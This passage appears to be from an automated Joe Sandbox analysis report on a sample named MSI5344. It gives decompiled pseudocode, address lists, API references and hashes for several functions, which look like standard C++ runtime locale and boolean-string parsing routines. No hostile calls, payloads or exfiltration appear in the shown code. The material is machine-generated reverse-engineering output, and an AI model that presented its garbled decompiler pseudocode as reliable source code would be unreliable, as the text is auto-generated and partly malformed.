				if (_t107 <= 0) goto 0xaf6df64d;
				if (_t107 != 0) goto 0xaf6df620;
				0xaf71b674();
				_t175 = _t121;
				if (_t121 == 0) goto 0xaf6df82c;
				_t165 = _t121;
				 *(_t180 - 0x49) = _t121;
				if (_t131 + 2 == 0) goto 0xaf6df6b3;
				asm("o16 nop [eax+eax]");
				_t122 = _t180 - 1;
				 *(_t183 + 0x20) = _t122;
				r8d = 6;
				_t110 = E00007FF77FF7AF6E90D4(_t131 + 2, _t165, "false", _t175, 0);
				if (_t110 <= 0) goto 0xaf6df6b1;
				_t166 = _t165 + 2;
				if (_t110 != 0) goto 0xaf6df680;
				 *((short*)(_t165 + 2)) = 0;
				 *(_t209 + 0x20) = _t175;
				_t176 = "true";
				 *(_t180 - 0x49) = _t122;
				_t135 = _t122;
				_t123 = _t180 - 1;
				 *(_t183 + 0x20) = _t123;
				_t111 = E00007FF77FF7AF6E90D4(_t135, _t180 - 0x51, "true", "true", _t166);
				if (_t111 <= 0) goto 0xaf6df6fd;
				if (_t111 != 0) goto 0xaf6df6d0;
				_t137 = _t135 + 2;
				0xaf71b674();
				if (_t123 == 0) goto 0xaf6df820;
				_t168 = _t123;
				 *(_t180 - 0x41) = _t123;
				if (_t137 == 0) goto 0xaf6df761;
				asm("o16 nop [eax+eax]");
				 *(_t183 + 0x20) = _t180 - 1;
				r8d = 5;
				_t114 = E00007FF77FF7AF6E90D4(_t137, _t168, "true", _t176, _t166);
				if (_t114 <= 0) goto 0xaf6df761;
				_t138 = _t137 - 1;
				if (_t114 != 0) goto 0xaf6df730;
				 *((short*)(_t168 + 2)) = 0;
				 *(_t209 + 0x28) = _t123;
				 *(_t180 - 0x39) = _t138;
				if (r12b == 0) goto 0xaf6df7db;
				 *((char*)(_t180 - 0x59)) = 0x2e;
				 *(_t180 - 0x51) = 0;
				 *(_t180 - 0x49) = _t138;
				 *(_t183 + 0x20) = _t180 - 1;
				_t47 = _t138 + 1; // 0x1
				r8d = _t47;
				E00007FF77FF7AF6E90D4(_t138, _t180 - 0x51, _t180 - 0x59, _t176 + _t180 - 1, _t166);
				 *((short*)(_t209 + 0x18)) =  *(_t180 - 0x51) & 0x0000ffff;
				 *((char*)(_t180 - 0x59)) = 0x2c;
				 *(_t180 - 0x51) = 0;
				 *(_t180 - 0x49) = _t138;
				 *(_t183 + 0x20) = _t180 - 1;
				_t58 = _t138 + 1; // 0x1
				r8d = _t58;
				E00007FF77FF7AF6E90D4(_t138, _t180 - 0x51, _t180 - 0x59, _t176 + _t180 - 1, _t166);
				 *((short*)(_t209 + 0x1a)) =  *(_t180 - 0x51) & 0x0000ffff;
				goto 0xaf6df7f3;
				 *((short*)(_t209 + 0x18)) =  *( *(_t199 + 0x58)) & 0x0000ffff;
				 *((short*)(_t209 + 0x1a)) =  *( *(_t199 + 0x60)) & 0x0000ffff;
				return E00007FF77FF7AF708B70( *(_t180 - 0x51) & 0x0000ffff,  *( *(_t199 + 0x60)) & 0x0000ffff,  *(_t180 + 0x2f) ^ _t183);
			}

0x7ff7af6df520
0x7ff7af6df520
0x7ff7af6df525
0x7ff7af6df52a
0x7ff7af6df538
0x7ff7af6df53d
0x7ff7af6df544
0x7ff7af6df54b
0x7ff7af6df54e
0x7ff7af6df552
0x7ff7af6df556
0x7ff7af6df559
0x7ff7af6df55e
0x7ff7af6df565
0x7ff7af6df56a
0x7ff7af6df56d
0x7ff7af6df571
0x7ff7af6df575
0x7ff7af6df579
0x7ff7af6df57e
0x7ff7af6df586
0x7ff7af6df58b
0x7ff7af6df58f
0x7ff7af6df593
0x7ff7af6df597
0x7ff7af6df59f
0x7ff7af6df5ae
0x7ff7af6df5b0
0x7ff7af6df5c8
0x7ff7af6df5d6
0x7ff7af6df5e1
0x7ff7af6df5ea
0x7ff7af6df5f5
0x7ff7af6df5fa
0x7ff7af6df607
0x7ff7af6df617
0x7ff7af6df620
0x7ff7af6df624
0x7ff7af6df63c
0x7ff7af6df63e
0x7ff7af6df64b
0x7ff7af6df658
0x7ff7af6df65d
0x7ff7af6df663
0x7ff7af6df669
0x7ff7af6df66e
0x7ff7af6df675
0x7ff7af6df677
0x7ff7af6df680
0x7ff7af6df684
0x7ff7af6df68d
0x7ff7af6df69e
0x7ff7af6df6a0
0x7ff7af6df6a7
0x7ff7af6df6af
0x7ff7af6df6b3
0x7ff7af6df6b6
0x7ff7af6df6ba
0x7ff7af6df6c1
0x7ff7af6df6ca
0x7ff7af6df6d0
0x7ff7af6df6d4
0x7ff7af6df6ec
0x7ff7af6df6ee
0x7ff7af6df6fb
0x7ff7af6df6fd
0x7ff7af6df708
0x7ff7af6df713
0x7ff7af6df719
0x7ff7af6df71e
0x7ff7af6df725
0x7ff7af6df727
0x7ff7af6df734
0x7ff7af6df73d
0x7ff7af6df74e
0x7ff7af6df750
0x7ff7af6df75b
0x7ff7af6df75f
0x7ff7af6df763
0x7ff7af6df766
0x7ff7af6df76a
0x7ff7af6df771
0x7ff7af6df773
0x7ff7af6df777
0x7ff7af6df77b
0x7ff7af6df783
0x7ff7af6df78c
0x7ff7af6df78c
0x7ff7af6df798
0x7ff7af6df7a1
0x7ff7af6df7a6
0x7ff7af6df7aa
0x7ff7af6df7ae
0x7ff7af6df7b6
0x7ff7af6df7bf
0x7ff7af6df7bf
0x7ff7af6df7cb
0x7ff7af6df7d4
0x7ff7af6df7d9
0x7ff7af6df7e2
0x7ff7af6df7ee
0x7ff7af6df81f

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DF820
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DF826
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DF82C

Strings

false, xrefs: 00007FF7AF6DF5FE
true, xrefs: 00007FF7AF6DF6BA

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: false$true
API String ID: 118556049-2658103896
Opcode ID: a860c6d42a2de776528bbdd21e2b4a9812648a3feaf0d59dcc4ee9596f94776f
Instruction ID: eb5c8555775a934f21a71ba300fcce1fd4958b7152742df8eee4ffbf5f772fde
Opcode Fuzzy Hash: a860c6d42a2de776528bbdd21e2b4a9812648a3feaf0d59dcc4ee9596f94776f
Instruction Fuzzy Hash: 4E91A222B0AA8585E710EF61D4402ED73BAFF48788F861136DE4C57BA9EF39D516C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DF310 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 152
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00007FF77FF7AF6DF310(long long __rax, long long __rbx, long long* __rcx, void* __rdx, long long __rsi) {
				void* __rbp;
				void* _t65;
				intOrPtr _t90;
				void* _t118;
				long long* _t121;
				void* _t125;
				void* _t127;
				void* _t130;
				long long _t132;
				long long* _t135;
				int _t137;
				long long* _t138;

				 *((long long*)(_t127 + 0x10)) = __rbx;
				 *((long long*)(_t127 + 0x20)) = __rsi;
				_push(_t118);
				_push(_t132);
				_t125 = _t127 - 0x37;
				_t135 = __rcx;
				r12d = 0;
				 *((intOrPtr*)(_t125 - 0x39)) = r12d;
				if (__rcx == 0) goto 0xaf6df4e6;
				if ( *((intOrPtr*)(__rcx)) != _t118) goto 0xaf6df4e6;
				LocalAlloc(_t137);
				_t121 = __rax;
				 *((long long*)(_t125 + 0x77)) = __rax;
				if (__rax == 0) goto 0xaf6df451;
				_t90 =  *((intOrPtr*)(__rdx + 8));
				if (_t90 == 0) goto 0xaf6df386;
				if ( *((intOrPtr*)(_t90 + 0x28)) != 0) goto 0xaf6df38d;
				goto 0xaf6df38d;
				E00007FF77FF7AF6E8B64(0, _t125 - 0x31);
				 *((long long*)(_t125 - 0x29)) = _t132;
				 *((char*)(_t125 - 0x21)) = 0;
				 *((long long*)(_t125 - 0x19)) = _t132;
				 *((char*)(_t125 - 0x11)) = 0;
				 *((long long*)(_t125 - 9)) = _t132;
				 *((intOrPtr*)(_t125 - 1)) = r12w;
				 *((long long*)(_t125 + 7)) = _t132;
				 *((intOrPtr*)(_t125 + 0xf)) = r12w;
				 *((long long*)(_t125 + 0x17)) = _t132;
				 *((char*)(_t125 + 0x1f)) = 0;
				 *((long long*)(_t125 + 0x27)) = _t132;
				 *((char*)(_t125 + 0x2f)) = 0;
				if (0xaf7472c1 == 0) goto 0xaf6df507;
				E00007FF77FF7AF6E89C4(_t90, 0xaf7472c1, _t125 - 0x31, 0xaf7472c1);
				 *((intOrPtr*)(_t125 - 0x39)) = 1;
				 *_t121 = 0xaf7366f8;
				 *_t121 = 0xaf736718;
				 *((intOrPtr*)(_t121 + 8)) = r12d;
				 *_t121 = 0xaf736ea0;
				_t27 = _t121 + 0x10; // 0x10
				_t138 = _t27;
				 *_t138 = _t132;
				E00007FF77FF7AF71A864(0xaf7472c1, 0xaf7472c1, 0xaf7472c1, _t121);
				 *((long long*)(_t125 + 0x67)) = 0xaf736ea0;
				 *((intOrPtr*)(_t125 - 0x39)) = 3;
				if (_t138 == _t125 + 0x67) goto 0xaf6df440;
				E00007FF77FF7AF70F228(0xaf736ea0,  *_t138, 0xaf7472c1, _t121, _t125, _t130);
				 *_t138 = 0xaf736ea0;
				_t101 = _t132;
				 *((long long*)(_t125 + 0x67)) = _t132;
				 *((intOrPtr*)(_t125 - 0x39)) = 1;
				E00007FF77FF7AF70F228(_t132, _t132, 0xaf7472c1, _t121, _t125, _t130);
				goto 0xaf6df454;
				_t122 = _t132;
				 *_t135 = _t132;
				if ((dil & 0x00000001) == 0) goto 0xaf6df4e6;
				 *((intOrPtr*)(_t125 - 0x39)) = 0;
				E00007FF77FF7AF6E8A30(_t125 - 0x31);
				if ( *((intOrPtr*)(_t125 + 0x27)) == 0) goto 0xaf6df47f;
				E00007FF77FF7AF70F228(_t101,  *((intOrPtr*)(_t125 + 0x27)), 0xaf7472c1, _t132, _t125, _t130);
				 *((long long*)(_t125 + 0x27)) = _t132;
				if ( *((intOrPtr*)(_t125 + 0x17)) == 0) goto 0xaf6df491;
				E00007FF77FF7AF70F228(_t101,  *((intOrPtr*)(_t125 + 0x17)), 0xaf7472c1, _t132, _t125, _t130);
				 *((long long*)(_t125 + 0x17)) = _t132;
				if ( *((intOrPtr*)(_t125 + 7)) == 0) goto 0xaf6df4a3;
				E00007FF77FF7AF70F228(_t101,  *((intOrPtr*)(_t125 + 7)), 0xaf7472c1, _t132, _t125, _t130);
				 *((long long*)(_t125 + 7)) = _t132;
				if ( *((intOrPtr*)(_t125 - 9)) == 0) goto 0xaf6df4b5;
				E00007FF77FF7AF70F228(_t101,  *((intOrPtr*)(_t125 - 9)), 0xaf7472c1, _t122, _t125, _t130);
				 *((long long*)(_t125 - 9)) = _t132;
				if ( *((intOrPtr*)(_t125 - 0x19)) == 0) goto 0xaf6df4c7;
				E00007FF77FF7AF70F228(_t101,  *((intOrPtr*)(_t125 - 0x19)), 0xaf7472c1, _t122, _t125, _t130);
				 *((long long*)(_t125 - 0x19)) = _t132;
				if ( *((intOrPtr*)(_t125 - 0x29)) == 0) goto 0xaf6df4d9;
				_t65 = E00007FF77FF7AF70F228(_t101,  *((intOrPtr*)(_t125 - 0x29)), 0xaf7472c1, _t122, _t125, _t130);
				 *((long long*)(_t125 - 0x29)) = _t132;
				E00007FF77FF7AF6E8BDC(_t65, _t125 - 0x31);
				return 5;
			}

0x7ff7af6df310
0x7ff7af6df315
0x7ff7af6df31b
0x7ff7af6df31c
0x7ff7af6df322
0x7ff7af6df331
0x7ff7af6df334
0x7ff7af6df33a
0x7ff7af6df341
0x7ff7af6df34a
0x7ff7af6df358
0x7ff7af6df35e
0x7ff7af6df361
0x7ff7af6df368
0x7ff7af6df36e
0x7ff7af6df375
0x7ff7af6df37e
0x7ff7af6df384
0x7ff7af6df393
0x7ff7af6df399
0x7ff7af6df39d
0x7ff7af6df3a1
0x7ff7af6df3a5
0x7ff7af6df3a9
0x7ff7af6df3ad
0x7ff7af6df3b2
0x7ff7af6df3b6
0x7ff7af6df3bb
0x7ff7af6df3bf
0x7ff7af6df3c3
0x7ff7af6df3c7
0x7ff7af6df3ce
0x7ff7af6df3db
0x7ff7af6df3e1
0x7ff7af6df3ef
0x7ff7af6df3f9
0x7ff7af6df3fc
0x7ff7af6df407
0x7ff7af6df40a
0x7ff7af6df40a
0x7ff7af6df40e
0x7ff7af6df411
0x7ff7af6df419
0x7ff7af6df422
0x7ff7af6df42c
0x7ff7af6df431
0x7ff7af6df436
0x7ff7af6df439
0x7ff7af6df43c
0x7ff7af6df443
0x7ff7af6df449
0x7ff7af6df44f
0x7ff7af6df451
0x7ff7af6df454
0x7ff7af6df45b
0x7ff7af6df464
0x7ff7af6df46b
0x7ff7af6df478
0x7ff7af6df47a
0x7ff7af6df47f
0x7ff7af6df48a
0x7ff7af6df48c
0x7ff7af6df491
0x7ff7af6df49c
0x7ff7af6df49e
0x7ff7af6df4a3
0x7ff7af6df4ae
0x7ff7af6df4b0
0x7ff7af6df4b5
0x7ff7af6df4c0
0x7ff7af6df4c2
0x7ff7af6df4c7
0x7ff7af6df4d2
0x7ff7af6df4d4
0x7ff7af6df4d9
0x7ff7af6df4e1
0x7ff7af6df506

APIs

LocalAlloc.KERNEL32 ref: 00007FF7AF6DF358
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DF393
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7AF6DF3DB
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DF4E1

Strings

bad locale name, xrefs: 00007FF7AF6DF507

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$AllocLocalLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1970615557-1405518554
Opcode ID: 372abc36db15ba9b82da005b5d8a3e2873665adb828b45e96136ddf7db21515b
Instruction ID: d1eff64493cd3a3f81a6e08dfcdc7a87c75d570e7fa99d66237f1c9fb5f88c7e
Opcode Fuzzy Hash: 372abc36db15ba9b82da005b5d8a3e2873665adb828b45e96136ddf7db21515b
Instruction Fuzzy Hash: 2F515C36B07B8199EB10EF60E8506ECB3A9EF48748F861536DE5D17AA5DF38D420C364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DEF70 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 139
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00007FF77FF7AF6DEF70(long long __rax, long long __rbx, int* __rcx, void* __rdx, long long __rdi, long long __rsi) {
				void* __rbp;
				void* _t60;
				intOrPtr _t83;
				void* _t108;
				int* _t112;
				void* _t115;
				void* _t117;
				void* _t120;
				int _t125;

				 *((long long*)(_t117 + 0x10)) = __rbx;
				 *((long long*)(_t117 + 0x18)) = __rsi;
				 *((long long*)(_t117 + 0x20)) = __rdi;
				_t115 = _t117 - 0x47;
				_t112 = __rcx;
				r15d = 0;
				 *((intOrPtr*)(_t115 - 0x29)) = r15d;
				if (__rcx == 0) goto 0xaf6df112;
				if ( *((intOrPtr*)(__rcx)) != __rbx) goto 0xaf6df112;
				LocalAlloc(_t125);
				_t108 = __rax;
				 *((long long*)(_t115 + 0x67)) = __rax;
				if (__rax == 0) goto 0xaf6df07e;
				_t83 =  *((intOrPtr*)(__rdx + 8));
				if (_t83 == 0) goto 0xaf6defe6;
				if ( *((intOrPtr*)(_t83 + 0x28)) != 0) goto 0xaf6defed;
				goto 0xaf6defed;
				E00007FF77FF7AF6E8B64(0, _t115 - 0x21);
				 *(_t115 - 0x19) = _t125;
				 *((char*)(_t115 - 0x11)) = 0;
				 *(_t115 - 9) = _t125;
				 *((char*)(_t115 - 1)) = 0;
				 *(_t115 + 7) = _t125;
				 *((intOrPtr*)(_t115 + 0xf)) = r15w;
				 *(_t115 + 0x17) = _t125;
				 *((intOrPtr*)(_t115 + 0x1f)) = r15w;
				 *(_t115 + 0x27) = _t125;
				 *((char*)(_t115 + 0x2f)) = 0;
				 *(_t115 + 0x37) = _t125;
				 *((char*)(_t115 + 0x3f)) = 0;
				if (0xaf7472c1 == 0) goto 0xaf6df134;
				E00007FF77FF7AF6E89C4(_t83, 0xaf7472c1, _t115 - 0x21, 0xaf7472c1);
				 *((intOrPtr*)(_t115 - 0x29)) = 1;
				 *_t108 = 0xaf7366f8;
				 *_t108 = 0xaf736718;
				 *((intOrPtr*)(_t108 + 8)) = r15d;
				 *_t108 = 0xaf736fa0;
				r8d = 1;
				_t106 = _t115 - 0x21;
				E00007FF77FF7AF6DF520(0xaf7472c1, _t108, _t108, _t112);
				goto 0xaf6df081;
				 *_t112 = _t125;
				if (1 == 0) goto 0xaf6df112;
				 *((intOrPtr*)(_t115 - 0x29)) = 0;
				E00007FF77FF7AF6E8A30(_t115 - 0x21);
				if ( *(_t115 + 0x37) == 0) goto 0xaf6df0ab;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t115 + 0x37), _t115 - 0x21, _t112, _t115, _t120);
				 *(_t115 + 0x37) = _t125;
				if ( *(_t115 + 0x27) == 0) goto 0xaf6df0bd;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t115 + 0x27), _t115 - 0x21, _t112, _t115, _t120);
				 *(_t115 + 0x27) = _t125;
				if ( *(_t115 + 0x17) == 0) goto 0xaf6df0cf;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t115 + 0x17), _t115 - 0x21, _t112, _t115, _t120);
				 *(_t115 + 0x17) = _t125;
				if ( *(_t115 + 7) == 0) goto 0xaf6df0e1;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t115 + 7), _t115 - 0x21, _t112, _t115, _t120);
				 *(_t115 + 7) = _t125;
				if ( *(_t115 - 9) == 0) goto 0xaf6df0f3;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t115 - 9), _t106, _t112, _t115, _t120);
				 *(_t115 - 9) = _t125;
				if ( *(_t115 - 0x19) == 0) goto 0xaf6df105;
				_t60 = E00007FF77FF7AF70F228(0xaf7472c1,  *(_t115 - 0x19), _t106, _t112, _t115, _t120);
				 *(_t115 - 0x19) = _t125;
				E00007FF77FF7AF6E8BDC(_t60, _t115 - 0x21);
				return 4;
			}

0x7ff7af6def70
0x7ff7af6def75
0x7ff7af6def7a
0x7ff7af6def84
0x7ff7af6def93
0x7ff7af6def96
0x7ff7af6def9c
0x7ff7af6defa2
0x7ff7af6defab
0x7ff7af6defb8
0x7ff7af6defbe
0x7ff7af6defc1
0x7ff7af6defc8
0x7ff7af6defce
0x7ff7af6defd5
0x7ff7af6defde
0x7ff7af6defe4
0x7ff7af6deff3
0x7ff7af6deff9
0x7ff7af6deffd
0x7ff7af6df001
0x7ff7af6df005
0x7ff7af6df009
0x7ff7af6df00d
0x7ff7af6df012
0x7ff7af6df016
0x7ff7af6df01b
0x7ff7af6df01f
0x7ff7af6df023
0x7ff7af6df027
0x7ff7af6df02e
0x7ff7af6df03b
0x7ff7af6df046
0x7ff7af6df050
0x7ff7af6df05a
0x7ff7af6df05d
0x7ff7af6df068
0x7ff7af6df06b
0x7ff7af6df06f
0x7ff7af6df076
0x7ff7af6df07c
0x7ff7af6df081
0x7ff7af6df087
0x7ff7af6df090
0x7ff7af6df097
0x7ff7af6df0a4
0x7ff7af6df0a6
0x7ff7af6df0ab
0x7ff7af6df0b6
0x7ff7af6df0b8
0x7ff7af6df0bd
0x7ff7af6df0c8
0x7ff7af6df0ca
0x7ff7af6df0cf
0x7ff7af6df0da
0x7ff7af6df0dc
0x7ff7af6df0e1
0x7ff7af6df0ec
0x7ff7af6df0ee
0x7ff7af6df0f3
0x7ff7af6df0fe
0x7ff7af6df100
0x7ff7af6df105
0x7ff7af6df10d
0x7ff7af6df133

APIs

LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7AF6DEFB8
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DEFF3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7AF6DF03B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DF10D

Strings

bad locale name, xrefs: 00007FF7AF6DF134

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$AllocLocalLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1970615557-1405518554
Opcode ID: 7ec9e75ab2fdb80813ff4b9e0de9e9cd4ac087e1d0be7d530cc3b8398dbcb83c
Instruction ID: 75cdbdce2320dbc59398d843dd9e89663e1846797ee54cfb47a34b3b18a832f8
Opcode Fuzzy Hash: 7ec9e75ab2fdb80813ff4b9e0de9e9cd4ac087e1d0be7d530cc3b8398dbcb83c
Instruction Fuzzy Hash: 8B518036B07B819AEB54EF60D8503ECB3A9EF08748F861936DA0D17A65DF38D520C324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DF150 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119
memoryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00007FF77FF7AF6DF150(long long __rax, long long __rbx, int* __rcx, void* __rdx, long long __rdi, long long __rsi) {
				void* __rbp;
				void* _t58;
				intOrPtr _t81;
				long long* _t104;
				int* _t108;
				void* _t111;
				void* _t113;
				void* _t116;
				int _t121;

				 *((long long*)(_t113 + 0x10)) = __rbx;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_t111 = _t113 - 0x47;
				_t108 = __rcx;
				r15d = 0;
				 *((intOrPtr*)(_t111 - 0x29)) = r15d;
				if (__rcx == 0) goto 0xaf6df2e1;
				if ( *((intOrPtr*)(__rcx)) != __rbx) goto 0xaf6df2e1;
				LocalAlloc(_t121);
				_t104 = __rax;
				 *((long long*)(_t111 + 0x67)) = __rax;
				if (__rax == 0) goto 0xaf6df24d;
				_t81 =  *((intOrPtr*)(__rdx + 8));
				if (_t81 == 0) goto 0xaf6df1c6;
				if ( *((intOrPtr*)(_t81 + 0x28)) != 0) goto 0xaf6df1cd;
				goto 0xaf6df1cd;
				E00007FF77FF7AF6E8B64(0, _t111 - 0x21);
				 *(_t111 - 0x19) = _t121;
				 *((char*)(_t111 - 0x11)) = 0;
				 *(_t111 - 9) = _t121;
				 *((char*)(_t111 - 1)) = 0;
				 *(_t111 + 7) = _t121;
				 *((intOrPtr*)(_t111 + 0xf)) = r15w;
				 *(_t111 + 0x17) = _t121;
				 *((intOrPtr*)(_t111 + 0x1f)) = r15w;
				 *(_t111 + 0x27) = _t121;
				 *((char*)(_t111 + 0x2f)) = 0;
				 *(_t111 + 0x37) = _t121;
				 *((char*)(_t111 + 0x3f)) = 0;
				if (0xaf7472c1 == 0) goto 0xaf6df303;
				E00007FF77FF7AF6E89C4(_t81, 0xaf7472c1, _t111 - 0x21, 0xaf7472c1);
				 *((intOrPtr*)(_t111 - 0x29)) = 1;
				 *_t104 = 0xaf7366f8;
				 *_t104 = 0xaf736718;
				 *((intOrPtr*)(_t104 + 8)) = r15d;
				 *_t104 = 0xaf736f40;
				goto 0xaf6df250;
				 *_t108 = _t121;
				if (1 == 0) goto 0xaf6df2e1;
				 *((intOrPtr*)(_t111 - 0x29)) = 0;
				E00007FF77FF7AF6E8A30(_t111 - 0x21);
				if ( *(_t111 + 0x37) == 0) goto 0xaf6df27a;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t111 + 0x37), 0xaf7472c1, _t108, _t111, _t116);
				 *(_t111 + 0x37) = _t121;
				if ( *(_t111 + 0x27) == 0) goto 0xaf6df28c;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t111 + 0x27), 0xaf7472c1, _t108, _t111, _t116);
				 *(_t111 + 0x27) = _t121;
				if ( *(_t111 + 0x17) == 0) goto 0xaf6df29e;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t111 + 0x17), 0xaf7472c1, _t108, _t111, _t116);
				 *(_t111 + 0x17) = _t121;
				if ( *(_t111 + 7) == 0) goto 0xaf6df2b0;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t111 + 7), 0xaf7472c1, _t108, _t111, _t116);
				 *(_t111 + 7) = _t121;
				if ( *(_t111 - 9) == 0) goto 0xaf6df2c2;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t111 - 9), 0xaf7472c1, _t108, _t111, _t116);
				 *(_t111 - 9) = _t121;
				if ( *(_t111 - 0x19) == 0) goto 0xaf6df2d4;
				_t58 = E00007FF77FF7AF70F228(0xaf7472c1,  *(_t111 - 0x19), 0xaf7472c1, _t108, _t111, _t116);
				 *(_t111 - 0x19) = _t121;
				E00007FF77FF7AF6E8BDC(_t58, _t111 - 0x21);
				return 4;
			}

0x7ff7af6df150
0x7ff7af6df155
0x7ff7af6df15a
0x7ff7af6df164
0x7ff7af6df173
0x7ff7af6df176
0x7ff7af6df17c
0x7ff7af6df182
0x7ff7af6df18b
0x7ff7af6df198
0x7ff7af6df19e
0x7ff7af6df1a1
0x7ff7af6df1a8
0x7ff7af6df1ae
0x7ff7af6df1b5
0x7ff7af6df1be
0x7ff7af6df1c4
0x7ff7af6df1d3
0x7ff7af6df1d9
0x7ff7af6df1dd
0x7ff7af6df1e1
0x7ff7af6df1e5
0x7ff7af6df1e9
0x7ff7af6df1ed
0x7ff7af6df1f2
0x7ff7af6df1f6
0x7ff7af6df1fb
0x7ff7af6df1ff
0x7ff7af6df203
0x7ff7af6df207
0x7ff7af6df20e
0x7ff7af6df21b
0x7ff7af6df226
0x7ff7af6df230
0x7ff7af6df23a
0x7ff7af6df23d
0x7ff7af6df248
0x7ff7af6df24b
0x7ff7af6df250
0x7ff7af6df256
0x7ff7af6df25f
0x7ff7af6df266
0x7ff7af6df273
0x7ff7af6df275
0x7ff7af6df27a
0x7ff7af6df285
0x7ff7af6df287
0x7ff7af6df28c
0x7ff7af6df297
0x7ff7af6df299
0x7ff7af6df29e
0x7ff7af6df2a9
0x7ff7af6df2ab
0x7ff7af6df2b0
0x7ff7af6df2bb
0x7ff7af6df2bd
0x7ff7af6df2c2
0x7ff7af6df2cd
0x7ff7af6df2cf
0x7ff7af6df2d4
0x7ff7af6df2dc
0x7ff7af6df302

APIs

LocalAlloc.KERNEL32 ref: 00007FF7AF6DF198
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DF1D3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7AF6DF21B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DF2DC

Strings

bad locale name, xrefs: 00007FF7AF6DF303

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$AllocLocalLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1970615557-1405518554
Opcode ID: a9c94a3010950efc96aa27426e28683f8c46140c3f8c1608c0b61d98bc1a0b49
Instruction ID: 37cf4f31441069b5a6f983e58ed223453a1b03cba18f3058891b12d24b342fb0
Opcode Fuzzy Hash: a9c94a3010950efc96aa27426e28683f8c46140c3f8c1608c0b61d98bc1a0b49
